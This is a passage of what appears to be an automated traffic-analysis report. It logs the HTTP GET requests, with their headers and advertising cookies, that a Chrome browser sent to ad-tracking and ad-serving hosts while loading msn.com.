Rmk2TDNFQUFBQUFBQUFBQUhnQWdRRUFBQUFBIboEQUmNHCxKb0JBZ2dBcUFFQXM1pwEBcC4ukAYAmAYAogYNMjgwI0FNUzM6NjA3NLgGAMEGCbYo8D_QBpJC2gYWChAJERkBMBAAGADgBgHqBih1ZiilHxg2OTcwNjQ0hd8BFKEfGDkxODcwNTgFFFTyBgIIAIAHAYgHAKAHAcIHKygAOABBEVIASREJAFkRCVBwAHgAgAEAigECaHDIB4LyBdIHDwkRHQF_FCAA2gcGCAUL8KXgBwDqBwIIAPAHq_SsCooIbgpqAAABlFfp3aBsqQh5TE_-lkaH98GN3Rra3Hg-EPPeWjF6H4XmHq4t8VmY7FGrePqU_L5rtD3hJpOnN8X1ymHtjhIKyCyZeSF712z79rvccHH-ju7HOsjNSF2874vZ6E2_swVkXGNZh3mHNxABlQgAAIA_mAgBwAgB0ggOCIGChIiQoMCAARAAGADaCAQIACAA4AgA&s=2c9da1b8b5cd2cff65f46da1928e18da4a17d99c HTTP/1.1Host: ams3-ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /websiteconfig?bt_env=prod&o=6208086025961472&w=msn.com&l=EN HTTP/1.1Host: api.btmessage.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js;ord=2128636136 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/s/247/trk.js HTTP/1.1Host: cdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=0KQEiORZyRrNU3HrJu0OvPFGfk8GX6N69aGxG8S0MikIiJPTs3h3f5Rrz3TuZx3kKeTZ2Jw22UQdKgtk_CXJLfnKu0LZJ29dSW8BqRV4hAQ.; uuid2=4000058903962025814; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /it?an_audit=0&referrer=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&e=wqT_3QKGDvBDBgcAAAMA1gAFAQjEmYy8BhCW_b_ilI_C1GwY1v6tmpSMxME3KjYJC9ejcD0K5z8RC9ejcD0K5z8ZAAAAgOtRFUAhC9cJGwApESTIMQAAAKBH4eo_MM-uyAE4mAJA8lZIAlCH8_SFAljktQNgAGjuAniC8gWAAQGKAQNVU0SSBQbwVZgBrAKgAdgEqAEBsAEAuAEBwAEFyAEC0AEA2AEA4AEA8AEA-gEJTVNOVVNFTjExigJUdWYoJ2EnLCA1NTg2ODA3LCAwKTt1ZignaScsIDEwOTM3OTYzFRUsZycsIDI2NzczMjEwFRUAcgE-HDQ5MjcxOTQzBRbwi5ICvQQhUW04TnVBaVB3YjBkRUlmejlJVUNHQUFnNUxVRE1BQTRBRUFBU1BKV1VNLXV5QUZZQUdDdUJtZ0FjQUI0QUlBQkFJZ0JBSkFCQVpnQkFhQUJBYWdCQWJBQkFMa0JnazBNTGo0SzV6X0JBWUpOREM0LUN1Y195UUVBQUFBQUFBRHdQOWtCQUFBBQ50OERfZ0Fldk1td1gxQWV4Uk9ELVlBZ0NnQWdHMUFnASMEQzkJCPBVREFBZ0RJQWdEUUFnRFlBZ0RnQWdEb0FnRDRBZ0NBQXdHWUF3RzZBd2xCVFZNek9qWXdNalRnQTZSSWdBVGp6UGNQaUFUaTlfY1BrQVFBbUFRQndRUUEBYgUBCE1rRQUIBQEIRFJCBQgoQUF3Q0ZBMkFRQTguLAA4SWdGaUMtUUJlM3pjS2tGDSsYQThELXhCUREOPEFBd1FVSzE2TndQUXJuUDguKAAEX1IuKAAIMlFVDTXARHdQLUFGd0xJRThBWGFqZUlNLUFYM190UUNnZ1lEVlZORWlBWUFrQVlCbUFZQW9RWRlgJDZnR0JMSUdKQWsNTAxBQUFCHdMEQmsBEgkBAEMdGOhMZ0dDdmdIM3RJSS1BZTQ0Z2o0Ql9uM0NJRUlDdGVqY0QwSzV6LUlDQUNRQ0FBLpoCmQEhX2hUVndRaTZBAihPUzFBeUFBS0FBeBk5TDg2Q1VGTlV6TTZOakF5TkVDa1NFEYkMRHdQMR2JAEYRGAxBQUFHHRgARx0YAEgNGBxNQWhRSGdBaS5VAvSBAXcuLrICIDAzN0UwODM4M0ZFMzY4ODQzQUJGMUQ0QTNFNjk2OTU42AIB4AK7zlTqAi1odHRwczovL3d3dy5tc24uY29tLz9vY2lkPW1haWxzaWdub3V0JnBjPVU1OTGAAwCIAwGQA-3zcJgDF6ADAaoDAMAD2ATIAwDYA6YF4AMA6AMA-AMBgAQAkgQGL3V0L3YzmAQAogQMOC40Ni4xMjMuMTg5qAQAsgQUCAUQBBisAiD6ASgBKAIwADgEQgC4BADABI6XvSLIBADSBA8xMTEyMiNBTVMzOjYwMjTaBAIIAeAEAfAEh_P0hQKIBQGYBQCgBf___________wHABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AUB-gUECAAQAIoGgAFVQk9PR0ZvQUFBQURBQWtDQlFFSXJ0V0tDeENVdXFrREdQTGRzQVFnQmlnQVFMaUV0d3hJX29TM0RGQ2tTRmk2TDNFQUFBQUFBQUFBQUhnQWdRRUFBQUFBIboEQUmNHCxKb0JBZ2dBcUFFQXM1pwEBcC4ukAYAmAYAogYNMjgwI0FNUzM6NjA3NLgGAMEGCbYo8D_QBpJC2gYWChAJERkBMBAAGADgBgHqBih1ZiilHxg2OTcwNjQ0hd8BFKEfGDkxODcwNTgFFFTyBgIIAIAHAYgHAKAHAcIHKygAOABBEVIASREJAFkRCVBwAHgAgAEAigECaHDIB4LyBdIHDwkRHQF_FCAA2gcGCAUL8KXgBwDqBwIIAPAHq_SsCooIbgpqAAABlFfp3aBsqQh5TE_-lkaH98GN3Rra3Hg-EPPeWjF6H4XmHq4t8VmY7FGrePqU_L5rtD3hJpOnN8X1ymHtjhIKyCyZeSF712z79rvccHH-ju7HOsjNSF2874vZ6E2_swVkXGNZh3mHNxABlQgAAIA_mAgBwAgB0ggOCIGChIiQoMCAARAAGADaCAQIACAA4AgA&s=2c9da1b8b5cd2cff65f46da1928e18da4a17d99c HTTP/1.1Host: ams3-ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /mw/state?bt_env=prod HTTP/1.1Host: api.btmessage.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/s/247/trk.js HTTP/1.1Host: cdn.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=4000058903962025814; XANDR_PANID=6OCDgwHqFOryYwA0k7_QNxPYEJWn1H-s_eJ-kyIIL9zpnUSgV2QvVHAsrdDZPa1VwE6ni2UOsx8HUMfrNHoyOtq2uo8KSooJ5wHr-lTy1rg.; receive-cookie-deprecation=1; anj=dTM7k!M4.FEVNsVF']wIg2E>>iz8E5!fsuh-k15Sp?cM9Z<b=ACz8:KCy!p`r/n(!Ert.[r0-QFp`RSgqyY0LEsh!)^cY64-bAA_!2>h9/+0J2!*lO8pq>ae; icu=ChgImdYCEAoYASABKAEwxZmMvAY4AUABSAEQxZmMvAYYAA..
Source: global traffic	HTTP traffic detected: GET /webfonts43j533.js HTTP/1.1Host: cdn.btmessage.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.9908475109849821 HTTP/1.1Host: ad-delivery.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js;ord=2128636136 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /px.gif?ch=1&e=0.9908475109849821 HTTP/1.1Host: ad-delivery.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /webfonts43j533.js HTTP/1.1Host: cdn.btmessage.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202501030302/pubads_impl.js?cb=31089528 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202501030302/pubads_impl.js?cb=31089528 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=2803928345140697&correlator=253140654381691&eid=31089528%2C31088080%2C83321072&output=ldjh&gdfp_req=1&vrg=202501030302&ptt=17&impl=fif&iu_parts=42115163%3A22569761985%2CIP_MSN_msn.com_300x600_US_Aug2024&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x600&ifi=1&sfv=1-0-40&eri=4&sc=1&cookie_enabled=1&cdm=www.msn.com&abxe=1&dt=1736641744443&adxs=804&adys=496&biw=1263&bih=907&isw=300&ish=600&scr_x=0&scr_y=0&btvi=0&ucis=5ufxjhx0mc6z&oid=2&u_his=2&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-300&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&nhd=1&url=https%3A%2F%2Fwww.msn.com%2F&loc=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&top=www.msn.com&vis=1&psz=300x600&msz=300x0&fws=256&ohw=0&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1736641732822&idt=11556&adks=1252677091&frm=23&eoidce=1&td=1&egid=45089 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Ad-Auction-Fetch: ?1Origin: https://www.msn.comX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/topics/topics_frame.html HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getconfig/sodar?sv=200&tid=gpt&tv=m202501030302&st=env HTTP/1.1Host: ep1.adtrafficquality.googleConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gampad/ads?pvsid=2803928345140697&correlator=253140654381691&eid=31089528%2C31088080%2C83321072&output=ldjh&gdfp_req=1&vrg=202501030302&ptt=17&impl=fif&iu_parts=42115163%3A22569761985%2CIP_MSN_msn.com_300x600_US_Aug2024&enc_prev_ius=%2F0%2F1&prev_iu_szs=300x600&ifi=1&sfv=1-0-40&eri=4&sc=1&cookie_enabled=1&cdm=www.msn.com&abxe=1&dt=1736641744443&adxs=804&adys=496&biw=1263&bih=907&isw=300&ish=600&scr_x=0&scr_y=0&btvi=0&ucis=5ufxjhx0mc6z&oid=2&u_his=2&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=-300&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0.&nhd=1&url=https%3A%2F%2Fwww.msn.com%2F&loc=https%3A%2F%2Fwww.msn.com%2F%3Focid%3Dmailsignout%26pc%3DU591&top=www.msn.com&vis=1&psz=300x600&msz=300x0&fws=256&ohw=0&topics=9&tps=9&htps=10&nt=1&psd=WzE1LFtdLG51bGwsM10.&dlt=1736641732822&idt=11556&adks=1252677091&frm=23&eoidce=1&td=1&egid=45089 HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjssALmB7icqmYSqTcG-kkNh7UlTimZiPBd3VCei6rkbY9z2ShlXD9W4nC_wdPhod-lJiKWbb-WR1lpg5_x9H0G_olE_sLMNOvUhueN72T_44o5IUJJrg-H_q9FitOvnFwn-7OSRv97pZGGfxsiqptj6Y_sQQJvUyM_IKo9A6a4-HUX1WK_0-NInH06GIpOvfM0_m4wlrgz0BjEpMYKphntPYHWmhnTTS-AcJDAKcImuJGSU0pN4EgeVyhn-BB5Ux1QtcQ1XoNBfVw61DODsQAlV35JHyt7pp43lU0CV3j64X2olF-OCZHnU-pDwgMhLnihlqQKcIPiewzoSycg-0V5eBtLoe1QlK4G3FUNs-OqS8noCPFd8HBnlsqxGMqe4hzOmkS3T68liWCwXyT9qbCgEFqwWIHNkdFWO5&sai=AMfl-YQS0poU-F4u8epMNVfNqxaA-n-uEQBd1FmTG45HvI4k6O_giqn6htzXHbqfL4odH0gMfdIRHS1pDgd-MwNbK81nCymkBSitPZyi7HTxO9nnL8-hskvtLtTMt4FbW1pDyVhwV-bayLmIYY31HVoe&sig=Cg0ArKJSzMQPJR_MPGPBEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /pagead/js/car.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveAccept: application/javascriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /sodar/sodar2.js HTTP/1.1Host: ep2.adtrafficquality.googleConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjstpOwdzhYAFRE9Wufog2bOYVRf6QhWOpicwzP3kJF8unN11pSTA56WGAHZF8bBUZxkxj6MNoaBIlPjIJjJk22OMJJ7rspo79iZWBCqVx1snuSmU-FmdcKS_ya13vFpcvygmBqsZFETekNpv-bhq8VwujpAvYi7tPa_ZmQ8GEMAN6mPDYjiO6DS5hiIqwxNiTgM9xnD6IJ7mDLEP-AcdBJS8gCB6tAleYuGrcT8V1RC-Zr-uF-XHEiiyPlXqly4RxdX8BQ88ClBjFRqDOzLvWGldnE4p7A80SoKyGGHxjmieluQmzT96KV3QUubFAsRyDHjqt95yXN8Jx7V5r1BEvpyTy_ZtdCFp3uIDmv8o6I82UvSvkeI_Lfq7nBzkc-_ujGK59yBUP0sGusosNk8hIFrIfQy1kMuoVmY9szk&sai=AMfl-YQux8OBX14stZp7GCuTko47Q33aN971Y2ObTl1XdcUVFEJVNpvihvI8dvX0WG06RTuQZd0FKbnYTs39Kh6gzJs3xx8dEjG72fo-_nE810LQ6vxXnZpsdToSj_v2xAYGVSe3pKiHK9ll7uTlKdki&sig=Cg0ArKJSzHbM-UTxOeGOEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://www.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjssALmB7icqmYSqTcG-kkNh7UlTimZiPBd3VCei6rkbY9z2ShlXD9W4nC_wdPhod-lJiKWbb-WR1lpg5_x9H0G_olE_sLMNOvUhueN72T_44o5IUJJrg-H_q9FitOvnFwn-7OSRv97pZGGfxsiqptj6Y_sQQJvUyM_IKo9A6a4-HUX1WK_0-NInH06GIpOvfM0_m4wlrgz0BjEpMYKphntPYHWmhnTTS-AcJDAKcImuJGSU0pN4EgeVyhn-BB5Ux1QtcQ1XoNBfVw61DODsQAlV35JHyt7pp43lU0CV3j64X2olF-OCZHnU-pDwgMhLnihlqQKcIPiewzoSycg-0V5eBtLoe1QlK4G3FUNs-OqS8noCPFd8HBnlsqxGMqe4hzOmkS3T68liWCwXyT9qbCgEFqwWIHNkdFWO5&sai=AMfl-YQS0poU-F4u8epMNVfNqxaA-n-uEQBd1FmTG45HvI4k6O_giqn6htzXHbqfL4odH0gMfdIRHS1pDgd-MwNbK81nCymkBSitPZyi7HTxO9nnL8-hskvtLtTMt4FbW1pDyVhwV-bayLmIYY31HVoe&sig=Cg0ArKJSzMQPJR_MPGPBEAE&uach_m=%5BUACH%5D&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: 